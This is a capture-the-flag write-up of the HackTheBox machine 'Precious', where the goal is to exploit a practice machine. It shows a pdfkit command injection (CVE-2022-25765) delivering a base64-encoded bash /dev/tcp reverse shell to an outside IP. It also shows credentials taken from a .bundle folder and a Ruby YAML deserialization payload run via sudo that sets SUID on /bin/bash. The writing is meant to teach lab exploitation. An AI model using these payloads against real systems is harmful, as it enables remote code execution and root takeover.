P.S.: This write-up is also available on Russian: link
Introduction
This write-up explores the effects of exploiting critical command injection vulnerability (CVE-2022-25765) in pdfkit. Pdfkit - Ruby “gem” that creates PDFs using plain old HTML+CSS. This box will show you how to exploit pdfkit vulnerability and get a remote connection to the server via reverse shell. And it all finishes with unique horizontal privilege escalation.
Enumeration
Always the first thing to do is scan the target IP address with Nmap to check what ports are open. But i personally prefer threader3000(clickable link)
It just scans ports very fast and then puts open ports to nmap for the detailed scan(-sC for default scripts and -sV to enumerate versions)
Detailed Nmap Scan:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-server-header:
| nginx/1.18.0
|_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
And we see 2 ports open, port 80 will be the priority.
HTTP Server:
Looking at the webserver root, we get redirected to precious.htb, so, we need to add it to /etc/hosts
# Static table lookup for hostnames.
# See hosts(5) for details.
127.0.0.1 localhost
::1 localhost
127.0.1.1 archlinux.localdomain archlinux
#THM
#HTB
10.10.11.189 precious.htb
Now we talking! Here you can see a simple converter panel, that says “Convert Web Page to PDF”, let’s start a simple HTTP server and try to convert it!
sudo python3 -m http.server 80
Notice, I'm running it with sudo because it needs root access to open port 80
Okay! We got our PDF file back, it looks like anything is completely normal. Let’s examine metadata by using Exiftool
exiftool [PDF file]
ExifTool Version Number : 12.50
File Name : 3hf2r90s59z1pypm38vqa0ho54pwf19h.pdf
Directory : .
File Size : 19 kB
File Modification Date/Time : 2023:01:12 20:53:23+06:00
File Access Date/Time : 2023:01:12 20:53:48+06:00
File Inode Change Date/Time : 2023:01:12 20:53:40+06:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
Take a look at the last line, it says “Generated by pdfkit v0.8.6”, if we ever come across a version number it’s always a great idea to research that particular version on Google. A quick Google search using the keywords “Generated by pdfkit v.0.8.6” reveals an article that discusses the in-depth exploitation of the CVE-2022-25765 vulnerability within this application.
You can learn more about command injection here:
Exploitation
Everything inside the backticks will be executed on a victim machine, let’s put the reverse shell payload!
First of all, putting bad symbols like ‘ /, and etc is a bad idea. Cuz it’s command injection 🙂
This is the basic payload:
bash -i >& /dev/tcp/10.10.14.76/9001 0>&1
Encode it to base64:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ni85MDAxIDA+JjE=
Then, add decoding and execution:
echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ni85MDAxIDA+JjE= | base64 -d | bash
We are almost done, now put anything in the URL:
<http://10.10.14.88/?name=%20`echo> -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ni85MDAxIDA+JjE= | base64 -d | bash`
Nice! We got it!
Post-Exploitation
The first thing that I'm always doing is stabilize my terminal(cuz it’s a reverse shell, and anything is buggy)
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL + Z
Go back to your terminal, and type
stty raw -echo;fg
Then hit enter twice, here you go! Now u have command history, normal CTRL+C and autocompletion.
Vertical Privelege Escalation
Besides us, there is another non-root user on the machine
cat /etc/passwd |grep sh$
root:x:0:0:root:/root:/bin/bash
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
ruby:x:1001:1001::/home/ruby:/bin/bash
In our home directory, we see an interesting folder “.bundle”
Inside, we have Henry's credentials, how easy is that!
Let's just ssh into Henry!
ssh henry@precious.htb
And we got the user!
Horizontal Privelege Escalation
When I have a password from a user, the first thing I always check is sudo
-bash-5-1$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Let’s investigate the update_dependencies.rb file
-bash-5.1$ ls -la /opt/update_dependencies.rb
-rwxr-xr-x 1 root root 848 Sep 25 11:02 /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
Notice, this ruby script uses YAML, we can try Dynamic Code Evaluation with YAML Deserialization attack
You can learn more about YAML Deserialization here:
Firstly, create a file in your home directory, and call it “dependencies.yml”, then insert this:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "chmod +s /bin/bash"
method_id: :resolve
Anything in git_set is gonna be executed by root, so let's just give bash SUID.
Now run the command with sudo
-bash-5.1$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
...
Hmm, nothing special, let’s look at /bin/bash:
-bash-5.1$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash
Nice! Now just type:
bash -p
Good work!
In conclusion, I would like to say that this machine is quite simple and very well suited for beginners. Nothing very special, just a regular easy box. That’s it for today, I hope you enjoyed it, happy hacking!